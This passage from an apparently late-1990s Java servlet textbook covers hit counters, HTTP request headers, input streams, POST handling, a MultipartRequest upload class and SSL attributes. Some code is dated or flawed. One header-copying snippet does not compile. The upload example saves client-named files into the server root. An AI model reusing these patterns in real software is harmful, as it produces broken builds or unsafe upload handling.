      // Initialize the count to 0
      holder = new int[1];
      holder[0] = 0;
      counts.put(uri, holder);  // save the holder
    }
    holder[0]++;               // increment
    return holder[0];
  }

  public void destroy() {
    // Try to save the accumulated count
    try {
      FileWriter fileWriter = new FileWriter(getClass().getName() + ".counts");
      BufferedWriter bufferedWriter = new BufferedWriter(fileWriter);
      Enumeration keys = counts.keys();
      Enumeration elements = counts.elements();
      String output = null;
      while (keys.hasMoreElements() && elements.hasMoreElements()) {
         String name = (String) keys.nextElement();
         int[] val = (int[]) elements.nextElement();
         bufferedWriter.write(name + " " + val[0] + "\n");
      }
      bufferedWriter.close();
      fileWriter.close();
      return;
    }
    catch (IOException e) { }  // problem during write
  }
}

Example 4-12. A server-side include counter

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class SSICounter extends GenericCounter {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    PrintWriter out = res.getWriter();

    // Fetch the page we're on.
    String uri = req.getRequestURI();

    // Get and increment the count for that page
    int count = incrementAndGetCount(uri);

    // Fulfull our purpose: print the count
    out.println(count);
  }
}

Example 4-13. A chain-based counter that replaces <COUNT> with the hit count

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class ChainCounter extends GenericCounter {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {

    String contentType = req.getContentType();
    res.setContentType(contentType);

    PrintWriter out = res.getWriter();

    // Fetch the page we're on.
    String uri = req.getRequestURI();

    // Get and increment the count
    int count = incrementAndGetCount(uri);

    // Prepare to read the input
    BufferedReader reader = req.getReader();

    String line = null;
    while ((line = reader.readLine()) != null) {
      line = replace(line, "<COUNT>", "" + count);  // case sensitive
      out.println(line);
    }
  }

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    doGet(req, res);
  }

  private String replace(String line, String oldString, String newString) {
    int index = 0;
    while ((index = line.indexOf(oldString, index)) >= 0) {
      line = line.substring(0, index) +
             newString +
             line.substring(index + oldString.length());
      index += newString.length();
    }
    return line;
  }
}

4.4.7. How It Was Requested

Besides knowing what was requested, a servlet has several ways of finding out details about how it was requested. The getScheme() method returns the scheme used to make this request:

public String ServletRequest.getScheme()

Examples include "http", "https", and "ftp", as well as the newer Java-specific schemes "jdbc" and "rmi". There is no direct CGI counterpart (though some CGI implementations have a SERVER_URL variable that includes the scheme). For HTTP servlets, this method indicates whether the request was made over a secure connection using the Secure Sockets Layer (SSL), as indicated by the scheme "https", or if it was an insecure request, as indicated by the scheme "http".

The getProtocol() method returns the protocol and version number used to make the request:

public String ServletRequest.getProtocol()

The protocol and version number are separated by a slash. The method returns null if no protocol could be determined. For HTTP servlets, the protocol is usually vHTTP/1.0v or vHTTP/1.1". HTTP servlets can use the protocol version to determine if it's okay with the client to use the new features in HTTP Version 1.1.

To find out what method was used for a request, a servlet uses getMethod() :

public String HttpServletRequest.getMethod()

This method returns the HTTP method used to make the request. Examples include "GET", "POST", and "HEAD". The service() method of the HttpServlet implementation uses this method in its dispatching of requests.

4.4.8. Request Headers

HTTP requests and responses can have a number of associated HTTP "headers". These headers provide some extra information about the request (or response). The HTTP Version 1.0 protocol defines literally dozens of possible headers; the HTTP Version 1.1 protocol includes even more. A description of all the headers extends beyond the scope of this book; we discuss only the headers most often accessed by servlets. For a full list of HTTP headers and their uses, we recommend Web Client Programming by Clinton Wong (O'Reilly) or Webmaster in a Nutshell by Stephen Spainhour and Valerie Quercia (O'Reilly).

A servlet rarely needs to read the HTTP headers accompanying a request. Many of the headers associated with a request are handled by the server itself. Take, for example, how a server restricts access to its documents. The server uses HTTP headers, and servlets need not know the details. When a server receives a request for a restricted page, it checks that the request includes an appropriate Authorization header that contains a valid username and a password. If it doesn't, the server itself issues a response containing a WWW-Authenticate header, to tell the browser its access to a resource was denied. When the client sends a request that includes the proper Authorization header, the server grants the access and gives any servlet invoked access to the user's name via the getRemoteUser() call.

Other headers are used by servlets, but indirectly. A good example is the Last-Modified and If-Last-Modified pair discussed in Chapter 3, "The Servlet Life Cycle". The server itself sees the If-Last-Modified header and calls the servlet's getLastModified() method to determine how to proceed.

There are a few HTTP headers that a servlet may want to read on occasion. These are listed in Table 4-4.

Table 4-4. Useful HTTP Request Headers

Header

Usage

Accept

Specifies the media ( MIME) types the client prefers to accept, separated by commas.[8] Each media type is divided into a type and subtype given as type/subtype. An asterisk (*) wildcard is allowed for the subtype (type/*) or for both the type and subtype (*/*). For example:

Accept: image/gif, image/jpeg, text/*, */*

A servlet can use this header to help determine what type of content to return. If this header is not passed as part of the request, the servlet can assume the client accepts all media types.

User-Agent

Gives information about the client software. The format of the returned string is relatively free form, but it often includes the browser name and version as well as information about the machine on which it is running. Netscape 3.01 on an SGI Indy running IRIX 6.2 reports:

User-Agent: Mozilla/3.01SC-SGI (X11; I; IRIX 6.2 IP22)

Microsoft Internet Explorer 4.0 running on a Windows 95 machine reports:

User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)

A servlet can use this header to keep statistics or to customize its response based on browser type.

Referer

Gives the URL of the document that refers to the requested URL (that is, the document that contains the link the client followed to access this document).[9] For example:

Referer: http://www.gamelan.com/pages/Gamelan.sites.home.html

A servlet can use this header to keep statistics or, if there's some error in the request, to keep track of the documents with errors.

Authorization

Provides the client's authorization to access the requested URI, including a username and password encoded in Base64. Servlets can use this for custom authorization, as discussed in Chapter 8, "Security".

[8] Some older browsers send a separate Accept header for each media type. This can confuse some servlet engines, including the Java Web Server.

[9] The properly-spelled Referrer header gives you nothing.

4.4.8.1. Accessing header values

HTTP header values are accessed through the HttpServletRequest object. A header value can be retrieved as a String, a long (representing a Date), or an int, using getHeader() , getDateHeader() , and getIntHeader() , respectively:

public String HttpServletRequest.getHeader(String name)
public long HttpServletRequest.getDateHeader(String name)
public int HttpServletRequest.getIntHeader(String name)

getHeader() returns the value of the named header as a String or null if the header was not sent as part of the request. The name is case insensitive, as it is for all these methods. Headers of all types can be retrieved with this method.

getDateHeader() returns the value of the named header as a long (representing a Date) that specifies the number of milliseconds since the epoch) or -1 if the header was not sent as part of the request. This method throws an IllegalArgumentException when called on a header whose value cannot be converted to a Date. The method is useful for handling headers like Last-Modified and If-Modified-Since.

getIntHeader() returns the value of the named header as an int or -1 if the header was not sent as part of the request. This method throws a NumberFormatException when called on a header whose value cannot be converted to an int.

A servlet can also get the names of all the headers it can access using getHeaderNames() :

public Enumeration HttpServletRequest.getHeaderNames()

This method returns the names of all the headers as an Enumeration of String objects. It returns an empty Enumeration if there were no headers. The Servlet API gives servlet engine implementations the right to not allow headers to be accessed in this way, in which case this method returns null.

Example 4-14 demonstrates the use of these methods in a servlet that prints information about its HTTP request headers.

Example 4-14. Snooping headers

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HeaderSnoop extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    out.println("Request Headers:");
    out.println();
    Enumeration enum = req.getHeaderNames();
    while (enum.hasMoreElements()) {
      String name = (String) enum.nextElement();
      String value = req.getHeader(name);
      if (value != null) {
        out.println(name + ": " + value);
      }
    }
  }
}

Some example output from this servlet might look like this:

Request Headers:

Connection: Keep-Alive
If-Modified-Since: Saturday, 13-Jun-98 20:50:31 GMT; length=297
User-Agent: Mozilla/4.05 [en] (X11; I; IRIX 6.2 IP22)
Host: localhost:8080
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Cookie: jwssessionid=A3KBB1YAAAAABQDGPM5QAAA

4.4.8.2. Headers in servlet chains

Servlet chains add an interesting twist to how servlets handle headers. Unlike all other servlets, a servlet in the middle or at the end of a servlet chain reads header values not from the client's request, but from the previous servlet's response.

The power and flexibility of this approach comes from the fact that a servlet can intelligently process a previous servlet's output, not only in body content, but in header values. For example, it can add extra headers to the response or change the value of existing headers. It can even suppress the previous servlet's headers.

But power comes with responsibilities: unless a chained servlet specifically reads the previous servlet's response headers and sends them as part of its own response, the headers are not passed on and will not be seen by the client. A well-behaved chained servlet always passes on the previous servlet's headers, unless it has a specific reason to do otherwise.

The code shown in Example 4-15 uses getHeaderNames() in combination with getHeader() and setHeader() to pass on the headers from the previous servlet to the client (or possibly to another servlet in the chain). The only header given special treatment is the Content-Length header. This header's value reports the length of the response in bytes--a value that is likely to change during the chaining process and so not appropriate to send on. Note that you haven't seen the setHeader() method before. It can be used to, well, set a header.

Example 4-15. Passing on the headers

Enumeration enum = req.getHeaderNames();
if (enum != null) {  // to be safe across all implementations
  while (enum.hasMoreElements()) {
    String header = (String)enum.nextElement();
    if ("Content-Length").equalsIgnoreCase(header))
      continue;
    String value = req.getHeader(header);
    res.setHeader(header, value);
  }
}

An HTTP servlet designed to function in a chain should include code similar to this early on in its handling of a request, so as to pass on the appropriate headers.

4.4.9. Wading the Input Stream

Each request handled by a servlet has an input stream associated with it. Just as a servlet can write to a PrintWriter or OutputStream associated with its response object, it can read from a Reader or InputStream associated with its request object. The data read from the input stream can be of any content type and of any length. The input stream has three purposes:

  • To pass a chained servlet the response body from the previous servlet

  • To pass an HTTP servlet the content associated with a POST request

  • To pass a non-HTTP servlet the raw data sent by the client

To read character data from the input stream, you should use getReader() to retrieve the input stream as a BufferedReader object:

public BufferedReader ServletRequest.getReader() throws IOException

The advantage of using a BufferedReader for reading character-based data is that it should translate charsets as appropriate. This method throws an IllegalStateException if getInputStream() has been called before on this same request. It throws an UnsupportedEncodingException if the character encoding of the input is unsupported or unknown.

To read binary data from the input stream, use getInputStream() to retrieve the input stream as a ServletInputStream object:

public ServletInputStream ServletRequest.getInputStream() throws IOException

A ServletInputStream is a direct subclass of InputStream and can be treated as a normal InputStream, with the added ability to efficiently read input a line at a time into an array of bytes. The method throws an IllegalStateException if getReader() has been called before on this same request. Once you have the ServletInputStream, you can read a line from it using readLine() :

public int ServletInputStream.readLine(byte b[], int off, int len)
  throws IOException

This method reads bytes from the input stream into the byte array b, starting at an offset in the array given by off. It stops reading when it encounters an '\n' or when it has read len number of bytes. The ending '\n' character is read into the buffer as well. The method returns the number of bytes read or -1 if the end of the stream is reached.

A servlet can also check the content type and the length of the data being sent via the input stream, using getContentType() and getContentLength() , respectively:

public String ServletRequest.getContentType()
public int ServletRequest.getContentLength()

getContentType() returns the media type of the content being sent via the input stream or null if the type is not known (such as when there is no data). getContentLength() returns the length, in bytes, of the content being sent via the input stream or -1 if this not known.

4.4.9.1. Chaining servlets using the input stream

A servlet in a servlet chain receives its response body from the previous servlet in the chain through its input stream. This use was first shown in the Deblink servlet in Chapter 2, "HTTP Servlet Basics". The pertinent section is shown again here:

String contentType = req.getContentType();  // get the incoming type
if (contentType == null) return;  // nothing incoming, nothing to do
res.setContentType(contentType);  // set outgoing type to be incoming type

BufferedReader br = req.getReader();

String line = null;
while ((line = br.readLine()) != null) {
  line = replace(line, "<BLINK>", "");
  line = replace(line, "</BLINK>", "");
  out.println(line);
}

Notice the use of getContentType() to retrieve the content type of the previous servlet's output. Also notice that getContentLength() is not used. We don't need to use it because all read() and readLine() methods indicate that they have reached the end of the stream with special return values. In fact, it's better not to use getContentLength() in a servlet chain because it is unsupported in many servlet engine implementations. Presumably the reason is that the server may choose to tie the output stream of one servlet directly to the input stream of the next servlet, giving no chance to determine a total content length.

4.4.9.2. Handling POST requests using the input stream

It is a rare occurrence when a servlet handling a POST request is forced to use its input stream to access the POST data. Typically, the POST data is nothing more than encoded parameter information, which a servlet can conveniently retrieve with its getParameter() method.

A servlet can identify this type of POST request by checking the content type of the input stream. If it is of type application/x-www-form-urlencoded, the data can be retrieved with getParameter() and similar methods. Example 4-16 demonstrates a servlet that keys off the input stream's content type to handle POST requests.

Example 4-16. Reading parameters passed by POST

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class PostParams extends HttpServlet {

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    if ("application/x-www-form-urlencoded".equals(req.getContentType())) {
      Enumeration enum = req.getParameterNames();
      while (enum.hasMoreElements()) {
        String name = (String) enum.nextElement();
        String values[] = req.getParameterValues(name);
        if (values != null) {
          for (int i = 0; i < values.length; i++) {
            out.println(name + " (" + i + "): " + values[i]);
          }
        }
      }
    }
  }
}

In case you were wondering, the odd arrangement of code that checks the request's content type is arranged to avoid a NullPointerException if the getContentType() call returns null.

A servlet may wish to call the getContentLength() method before calling getParameter() to prevent denial of service attacks. A rogue client may send an absurdly large amount of data as part of a POST request, hoping to slow the server to a crawl as the servlet's getParameter() method churns over the data. A servlet can use getContentLength() to verify that the length is reasonable, perhaps less than 4K, as a preventive measure.

4.4.9.3. Receiving files using the input stream

A servlet can also receive a file upload using its input stream. Before we see how, it's important to note that file uploading is experimental and not supported in all browsers. Netscape first supported file uploads with Netscape Navigator 3; Microsoft first supported it with Internet Explorer 4.

The full file upload specification is contained in experimental RFC 1867, available at http://www.ietf.org/rfc/rfc1867.txt. The short summary is that any number of files and parameters can be sent as form data in a single POST request. The POST request is formatted differently than standard application/x-www-form-urlencoded form data and indicates this fact by setting its content type to multipart/form-data.

It's fairly simple to write the client half of a file upload. The following HTML generates a form that asks for a user's name and a file to upload. Note the addition of the ENCTYPE attribute and the use of a FILE input type:

<FORM ACTION="/servlet/UploadTest" ENCTYPE="multipart/form-data" METHOD=POST>
What is your name? <INPUT TYPE=TEXT NAME=submitter> <BR>
Which file do you want to upload? <INPUT TYPE=FILE NAME=file> <BR>
<INPUT TYPE=SUBMIT>
</FORM>

A user receiving this form sees a page that looks something like Figure 4-3. A filename can be entered in the text area, or it can be selected by browsing. After selection, the user submits the form as usual.

Figure 4-3. Choosing a file to upload

The server's responsibilities during a file upload are slightly more complicated. From the receiving servlet's perspective, the submission is nothing more than a raw data stream in its input stream--a data stream formatted according to the multipart/form-data content type given in RFC 1867. The Servlet API, lamentably, provides no methods to aid in the parsing of the data. To simplify your life (and ours since we don't want to explain RFC 1867), Jason has written a utility class that does the work for you. It's named MultipartRequest and is shown in Example 4-18 later in this section.

MultipartRequest wraps around a ServletRequest and presents a simple API to the servlet programmer. The class has two constructors:

public MultipartRequest(ServletRequest request, String saveDirectory,
                        int maxPostSize) throws IOException
public MultipartRequest(ServletRequest request,
                        String saveDirectory) throws IOException

Each of these methods creates a new MultipartRequest object to handle the specified request, saving any uploaded files to saveDirectory. Both constructors actually parse the multipart/form-data content and throw an IOException if there's any problem. The constructor that takes a maxPostSize parameter also throws an IOException if the uploaded content is larger than maxPostSize. The second constructor assumes a default maxPostSize of 1 MB.

The MultipartRequest class has six public methods that let you get at information about the request. You'll notice that many of these methods are modeled after ServletRequest methods. Use getParameterNames() to retrieve the names of all the request parameters:

public Enumeration MultipartRequest.getParameterNames()

This method returns the names of all the parameters as an Enumeration of String objects or an empty Enumeration if there are no parameters.

To get the value of a named parameter, use getParameter():

public String MultipartRequest.getParameter(String name)

This method returns the value of the named parameter as a String or null if the parameter was not given. The value is guaranteed to be in its normal, decoded form. If the parameter has multiple values, only the last one is returned.

Use getFileNames() to get a list of all the uploaded files:

public Enumeration MultipartRequest.getFileNames()

This method returns the names of all the uploaded files as an Enumeration of String objects, or an empty Enumeration if there are no uploaded files. Note that each filename is the name specified by the HTML form's name attribute, not by the user. Once you have the name of a file, you can get its file system name using getFilesystemName() :

public String MultipartRequest.getFilesystemName(String name)

This method returns the file system name of the specified file or null if the file was not included in the upload. A file system name is the name specified by the user. It is also the name under which the file is actually saved. You can get the content type of the file with getContentType() :

public String MultipartRequest.getContentType(String name)

This method returns the content type of the specified file (as supplied by the client browser) or null if the file was not included in the upload. Finally, you can get a java.io.File object for the file with getFile() :

public File MultipartRequest.getFile(String name)

This method returns a File object for the specified file saved on the server's file system or null if the file was not included in the upload.

Example 4-17 shows how a servlet uses MultipartRequest. The servlet does nothing but display the statistics for what was uploaded. Notice that it does not delete the files it saves.

Example 4-17. Handling a file upload

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.MultipartRequest;

public class UploadTest extends HttpServlet {

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    try {
      // Blindly take it on faith this is a multipart/form-data request

      // Construct a MultipartRequest to help read the information.
      // Pass in the request, a directory to save files to, and the
      // maximum POST size we should attempt to handle.
      // Here we (rudely) write to the server root and impose 5 Meg limit.
      MultipartRequest multi =
        new MultipartRequest(req, ".", 5 * 1024 * 1024);

      out.println("<HTML>");
      out.println("<HEAD><TITLE>UploadTest</TITLE></HEAD>");
      out.println("<BODY>");
      out.println("<H1>UploadTest</H1>");

      // Print the parameters we received
      out.println("<H3>Params:</H3>");
      out.println("<PRE>");
      Enumeration params = multi.getParameterNames();
      while (params.hasMoreElements()) {
        String name = (String)params.nextElement();
        String value = multi.getParameter(name);
        out.println(name + " = " + value);
      }
      out.println("</PRE>");

      // Show which files we received
      out.println("<H3>Files:</H3>");
      out.println("<PRE>");
      Enumeration files = multi.getFileNames();
      while (files.hasMoreElements()) {
        String name = (String)files.nextElement();
        String filename = multi.getFilesystemName(name);
        String type = multi.getContentType(name);
        File f = multi.getFile(name);
        out.println("name: " + name);
        out.println("filename: " + filename);
        out.println("type: " + type);
        if (f != null) {
          out.println("length: " + f.length());
          out.println();
        }
        out.println("</PRE>");
      }
    }
    catch (Exception e) {
      out.println("<PRE>");
      e.printStackTrace(out);
      out.println("</PRE>");
    }
    out.println("</BODY></HTML>");
  }
}

The servlet passes its request object to the MultipartRequest constructor, along with a directory relative to the server root where the uploaded files are to be saved (because large files may not fit in memory) and a maximum POST size of 5 MB. The servlet then uses MultipartRequest to iterate over the parameters that were sent. Notice that the MultipartRequest API for handling parameters matches that of ServletRequest. Finally, the servlet uses its MultipartRequest to iterate over the files that were sent. For each file, it gets the file's name (as specified on the form), file system name (as specified by the user), and content type. It also gets a File reference and uses it to display the length of the saved file. If there are any problems, the servlet reports the exception to the user.

Example 4-18 shows the code for MultipartRequest. This class could be written more elegantly using a regular expression library, as discussed in Chapter 13, "Odds and Ends" ; however, not doing so allows this class to be self-contained and works just as well. We aren't going to elaborate on the class here--you should read the comments if you want to understand everything that is going on. This class uses some of the techniques that we've covered in this chapter, so it is a good review of the material. You should also feel free to skip this example for now and come back to it later if you'd like.

Example 4-18. The MultipartRequest class

package com.oreilly.servlet;

import java.io.*;
import java.util.*;
import javax.servlet.*;

public class MultipartRequest {

  private static final int DEFAULT_MAX_POST_SIZE = 1024 * 1024;  // 1 Meg

  private ServletRequest req;
  private File dir;
  private int maxSize;

  private Hashtable parameters = new Hashtable();  // name - value
  private Hashtable files = new Hashtable();       // name - UploadedFile

  public MultipartRequest(ServletRequest request,
                          String saveDirectory) throws IOException {
    this(request, saveDirectory, DEFAULT_MAX_POST_SIZE);
  }

  public MultipartRequest(ServletRequest request,
                          String saveDirectory,
                          int maxPostSize) throws IOException {
    // Sanity check values
    if (request == null)
      throw new IllegalArgumentException("request cannot be null");
    if (saveDirectory == null)
      throw new IllegalArgumentException("saveDirectory cannot be null");
    if (maxPostSize <= 0) {
      throw new IllegalArgumentException("maxPostSize must be positive");
    }

    // Save the request, dir, and max size
    req = request;
    dir = new File(saveDirectory);
    maxSize = maxPostSize;

    // Check saveDirectory is truly a directory
    if (!dir.isDirectory())
      throw new IllegalArgumentException("Not a directory: " + saveDirectory);

    // Check saveDirectory is writable
    if (!dir.canWrite())
      throw new IllegalArgumentException("Not writable: " + saveDirectory);

    // Now parse the request saving data to "parameters" and "files";
    // write the file contents to the saveDirectory
    readRequest();
  }

  public Enumeration getParameterNames() {
    return parameters.keys();
  }

  public Enumeration getFileNames() {
    return files.keys();
  }

  public String getParameter(String name) {
    try {
      String param = (String)parameters.get(name);
      if (param.equals("")) return null;
      return param;
    }
    catch (Exception e) {
      return null;
    }
  }

  public String getFilesystemName(String name) {
    try {
      UploadedFile file = (UploadedFile)files.get(name);
      return file.getFilesystemName();  // may be null
    }
    catch (Exception e) {
      return null;
    }
  }

  public String getContentType(String name) {
    try {
      UploadedFile file = (UploadedFile)files.get(name);
      return file.getContentType();  // may be null
    }
    catch (Exception e) {
      return null;
    }
  }

  public File getFile(String name) {
    try {
      UploadedFile file = (UploadedFile)files.get(name);
      return file.getFile();  // may be null
    }
    catch (Exception e) {
      return null;
    }
  }

  protected void readRequest() throws IOException {
    // Check the content type to make sure it's "multipart/form-data"
    String type = req.getContentType();
    if (type == null ||
        !type.toLowerCase().startsWith("multipart/form-data")) {
      throw new IOException("Posted content type isn't multipart/form-data");
    }

    // Check the content length to prevent denial of service attacks
    int length = req.getContentLength();
    if (length > maxSize) {
      throw new IOException("Posted content length of " + length +
                            " exceeds limit of " + maxSize);
    }

    // Get the boundary string; it's included in the content type.
    // Should look something like "------------------------12012133613061"
    String boundary = extractBoundary(type);
    if (boundary == null) {
      throw new IOException("Separation boundary was not specified");
    }

    // Construct the special input stream we'll read from
    MultipartInputStreamHandler in =
      new MultipartInputStreamHandler(req.getInputStream(), boundary, length);

    // Read the first line, should be the first boundary
    String line = in.readLine();
    if (line == null) {
      throw new IOException("Corrupt form data: premature ending");
    }

    // Verify that the line is the boundary
    if (!line.startsWith(boundary)) {
      throw new IOException("Corrupt form data: no leading boundary");
    }

    // Now that we're just beyond the first boundary, loop over each part
    boolean done = false;
    while (!done) {
      done = readNextPart(in, boundary);
    }
  }

  protected boolean readNextPart(MultipartInputStreamHandler in,
                                 String boundary) throws IOException {
    // Read the first line, should look like this:
    // content-disposition: form-data; name="field1"; filename="file1.txt"
    String line = in.readLine();
    if (line == null) {
      // No parts left, we're done
      return true;
    }

    // Parse the content-disposition line
    String[] dispInfo = extractDispositionInfo(line);
    String disposition = dispInfo[0];
    String name = dispInfo[1];
    String filename = dispInfo[2];

    // Now onto the next line. This will either be empty
    // or contain a Content-Type and then an empty line.
    line = in.readLine();
    if (line == null) {
      // No parts left, we're done
      return true;
    }

    // Get the content type, or null if none specified
    String contentType = extractContentType(line);
    if (contentType != null) {
      // Eat the empty line
      line = in.readLine();
      if (line == null || line.length() > 0) {  // line should be empty
        throw new
          IOException("Malformed line after content type: " + line);
      }
    }
    else {
      // Assume a default content type
      contentType = "application/octet-stream";
    }

    // Now, finally, we read the content (end after reading the boundary)
    if (filename == null) {
      // This is a parameter
      String value = readParameter(in, boundary);
      parameters.put(name, value);
    }
    else {
      // This is a file
      readAndSaveFile(in, boundary, filename);
      if (filename.equals("unknown")) {
        files.put(name, new UploadedFile(null, null, null));
      }
      else {
        files.put(name,
          new UploadedFile(dir.toString(), filename, contentType));
      }
    }
    return false;  // there's more to read
  }

  protected String readParameter(MultipartInputStreamHandler in,
                                 String boundary) throws IOException {
    StringBuffer sbuf = new StringBuffer();
    String line;

    while ((line = in.readLine()) != null) {
      if (line.startsWith(boundary)) break;
      sbuf.append(line + "\r\n");  // add the \r\n in case there are many lines
    }

    if (sbuf.length() == 0) {
      return null;  // nothing read
    }

    sbuf.setLength(sbuf.length() - 2);  // cut off the last line's \r\n
    return sbuf.toString();  // no URL decoding needed
  }

  protected void readAndSaveFile(MultipartInputStreamHandler in,
                                 String boundary,
                                 String filename) throws IOException {
    File f = new File(dir + File.separator + filename);
    FileOutputStream fos = new FileOutputStream(f);
    BufferedOutputStream out = new BufferedOutputStream(fos, 8 * 1024); // 8K

    byte[] bbuf = new byte[8 * 1024];  // 8K
    int result;
    String line;

    // ServletInputStream.readLine() has the annoying habit of
    // adding a \r\n to the end of the last line.
    // Since we want a byte-for-byte transfer, we have to cut those chars.
    boolean rnflag = false;
    while ((result = in.readLine(bbuf, 0, bbuf.length)) != -1) {
      // Check for boundary
      if (result > 2 && bbuf[0] == '-' && bbuf[1] == '-') { // quick pre-check
        line = new String(bbuf, 0, result, "ISO-8859-1");
        if (line.startsWith(boundary)) break;
      }
      // Are we supposed to write \r\n for the last iteration?
      if (rnflag) {
        out.write('\r'); out.write('\n');
        rnflag = false;
      }
      // Write the buffer, postpone any ending \r\n
      if (result >= 2 &&
          bbuf[result - 2] == '\r' &&
          bbuf[result - 1] == '\n') {
        out.write(bbuf, 0, result - 2);  // skip the last 2 chars
        rnflag = true;  // make a note to write them on the next iteration
      }
      else {
        out.write(bbuf, 0, result);
      }
    }
    out.flush();
    out.close();
    fos.close();
  }

  private String extractBoundary(String line) {
    int index = line.indexOf("boundary=");
    if (index == -1) {
      return null;
    }
    String boundary = line.substring(index + 9);  // 9 for "boundary="

    // The real boundary is always preceded by an extra "--"
    boundary = "--" + boundary;

    return boundary;
  }

  private String[] extractDispositionInfo(String line) throws IOException {
    // Return the line's data as an array: disposition, name, filename
    String[] retval = new String[3];

    // Convert the line to a lowercase string without the ending \r\n
    // Keep the original line for error messages and for variable names.
    String origline = line;
    line = origline.toLowerCase();

    // Get the content disposition, should be "form-data"
    int start = line.indexOf("content-disposition: ");
    int end = line.indexOf(";");
    if (start == -1 || end == -1) {
      throw new IOException("Content disposition corrupt: " + origline);
    }
    String disposition = line.substring(start + 21, end);
    if (!disposition.equals("form-data")) {
      throw new IOException("Invalid content disposition: " + disposition);
    }

    // Get the field name
    start = line.indexOf("name=\"", end);  // start at last semicolon
    end = line.indexOf("\"", start + 7);   // skip name=\"
    if (start == -1 || end == -1) {
      throw new IOException("Content disposition corrupt: " + origline);
    }
    String name = origline.substring(start + 6, end);

    // Get the filename, if given
    String filename = null;
    start = line.indexOf("filename=\"", end + 2);  // start after name
    end = line.indexOf("\"", start + 10);          // skip filename=\"
    if (start != -1 && end != -1) {                // note the !=
      filename = origline.substring(start + 10, end);
      // The filename may contain a full path. Cut to just the filename.
      int slash =
        Math.max(filename.lastIndexOf('/'), filename.lastIndexOf('\\'));
      if (slash > -1) {
        filename = filename.substring(slash + 1);  // past last slash
      }
      if (filename.equals("")) filename = "unknown"; // sanity check
    }

    // Return a String array: disposition, name, filename
    retval[0] = disposition;
    retval[1] = name;
    retval[2] = filename;
    return retval;
  }

  private String extractContentType(String line) throws IOException {
    String contentType = null;

    // Convert the line to a lowercase string
    String origline = line;
    line = origline.toLowerCase();

    // Get the content type, if any
    if (line.startsWith("content-type")) {
      int start = line.indexOf(" ");
      if (start == -1) {
        throw new IOException("Content type corrupt: " + origline);
      }
      contentType = line.substring(start + 1);
    }
    else if (line.length() != 0) {  // no content type, so should be empty
      throw new IOException("Malformed line after disposition: " + origline);
    }

    return contentType;
  }
}

// A class to hold information about an uploaded file.
//
class UploadedFile {

  private String dir;
  private String filename;
  private String type;

  UploadedFile(String dir, String filename, String type) {
    this.dir = dir;
    this.filename = filename;
    this.type = type;
  }

  public String getContentType() {
    return type;
  }

  public String getFilesystemName() {
    return filename;
  }

  public File getFile() {
    if (dir == null || filename == null) {
      return null;
    }
    else {
      return new File(dir + File.separator + filename);
    }
  }
}

// A class to aid in reading multipart/form-data from a ServletInputStream.
// It keeps track of how many bytes have been read and detects when the
// Content-Length limit has been reached. This is necessary because some
// servlet engines are slow to notice the end of stream.
//
class MultipartInputStreamHandler {

  ServletInputStream in;
  String boundary;
  int totalExpected;
  int totalRead = 0;
  byte[] buf = new byte[8 * 1024];

  public MultipartInputStreamHandler(ServletInputStream in,
                                     String boundary,
                                     int totalExpected) {
    this.in = in;
    this.boundary = boundary;
    this.totalExpected = totalExpected;
  }

  public String readLine() throws IOException {
    StringBuffer sbuf = new StringBuffer();
    int result;
    String line;

    do {
      result = this.readLine(buf, 0, buf.length);  // this.readLine() does +=
      if (result != -1) {
        sbuf.append(new String(buf, 0, result, "ISO-8859-1"));
      }
    } while (result == buf.length);  // loop only if the buffer was filled

    if (sbuf.length() == 0) {
      return null;  // nothing read, must be at the end of stream
    }

    sbuf.setLength(sbuf.length() - 2);  // cut off the trailing \r\n
    return sbuf.toString();
  }

  public int readLine(byte b[], int off, int len) throws IOException {
    if (totalRead >= totalExpected) {
      return -1;
    }
    else {
      int result = in.readLine(b, off, len);
      if (result > 0) {
        totalRead += result;
      }
      return result;
    }
  }
}

4.4.10. Extra Attributes

Sometimes a servlet needs to know something about a request that's not available via any of the previously mentioned methods. In these cases, there is one last alternative, the getAttribute() method. Remember how ServletContext has a getAttribute() method that returns server-specific attributes about the server itself? ServletRequest also has a getAttribute() method:

public Object ServletRequest.getAttribute(String name)

This method returns the value of a server-specific attribute for the request or null if the server does not support the named request attribute. This method allows a server to provide a servlet with custom information about a request. For example, the Java Web Server makes three attributes available: javax.net.ssl.cipher_suite, javax.net.ssl.peer_certificates, and javax.net.ssl.session. A servlet running in the Java Web Server can use these attributes to inspect the details of an SSL connection with the client.

Example 4-19 shows a code snippet that uses getAttribute() to query the server on the details of its SSL connection. Remember, these attributes are server-specific and may not be available in servers other than the Java Web Server.

Example 4-19. Getting the attributes available in the Java Web Server

import javax.security.cert.X509Certificate;
import javax.net.ssl.SSLSession;

out.println("<PRE>");

// Display the cipher suite in use
String cipherSuite =
  (String) req.getAttribute("javax.net.ssl.cipher_suite");
out.println("Cipher Suite: " + cipherSuite);

// Display the client's certificates, if there are any
if (cipherSuite != null) {
  X509Certificate[] certChain =
    (X509Certificate[]) req.getAttribute("javax.net.ssl.peer_certificates");
  if (certChain != null) {
    for (int i = 0; i < certChain.length; i++) {
      out.println ("Client Certificate [" + i + "] = "
                      + certChain[i].toString());
    }
  }
}

out.println("</PRE>");

The servlet's output on receiving a VeriSign certificate is shown below. What it means is discussed in Chapter 8, "Security".

Cipher Suite:  SSL_RSA_EXPORT_WITH_RC4_40_MD5
Client Certificate [0] = [
